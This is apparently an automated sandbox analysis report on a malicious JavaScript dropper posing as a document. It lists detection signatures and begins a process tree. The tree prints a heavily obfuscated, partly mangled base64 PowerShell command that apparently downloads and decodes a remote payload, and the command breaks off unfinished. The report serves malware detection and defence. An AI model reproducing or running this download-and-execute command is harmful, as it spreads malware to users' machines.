Windows
Analysis Report
15514541_Doc_Sub(C-A0893)10-08-2024.js
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Creates autostart registry keys with suspicious values (likely registry only malware)
Found suspicious powershell code related to unpacking or dynamic code loading
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6752 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\15514 541_Doc_Su b(C-A0893) 10-08-2024 .js" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 5752 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' J? ? ? ? ? Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy ? ? ? ? ?G w? ? ? ? ? I? ? ? ? ? ? ? ? ? ?9 ? ? ? ? ?C ? ? ? ? ?? ? ? ? ?Jw Bo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh ? ? ? ? ?D Y? ? ? ? ? M? ? ? ? ? ? ? ? ? ?x ? ? ? ? ?D Y? ? ? ? ? M? ? ? ? ? ? ? ? ? ?2 ? ? ? ? ?C 4? ? ? ? ? dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp ? ? ? ? ?H Y? ? ? ? ? ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQ B0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo ? ? ? ? ?G 4? ? ? ? ? bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh ? ? ? ? ?H Q? ? ? ? ? a? ? ? ? ? Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw ? ? ? ? ?7 ? ? ? ? ?C Q? ? ? ? ? dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQ Bu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ? TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?ag Bl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt ? ? ? ? ?C 4? ? ? ? ? TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?Yg BD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt ? ? ? ? ?G E? ? ? ? ? ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw ? ? ? ? ?g ? ? ? ? ?D 0? ? ? ? ? I? ? ? ? ? ? ? ? ? ?k ? ? ? ? ?H c? ? ? ? ? ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0 ? ? ? ? ?C 4? ? ? ? ? R? ? ? ? ? Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk ? ? ? ? ?E Q? ? ? ? ? YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQ BV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl ? ? ? ? ?H g? ? ? ? ? d? ? ? ? ? ? ? ? ? ?g ? ? ? ? ?D 0? ? ? ? ? I? ? ? ? ? Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt ? ? ? ? ?C 4? ? ? ? ? V? ? ? ? ? Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?Zw Bd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?Rw Bl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu ? ? ? ? ?G c? ? ? ? ? K? ? ? ? ? ? ? ? ? ?k ? ? ? ? ?G k? ? ? ? ? bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl ? ? ? ? ?H M? ? ? ? ? KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ?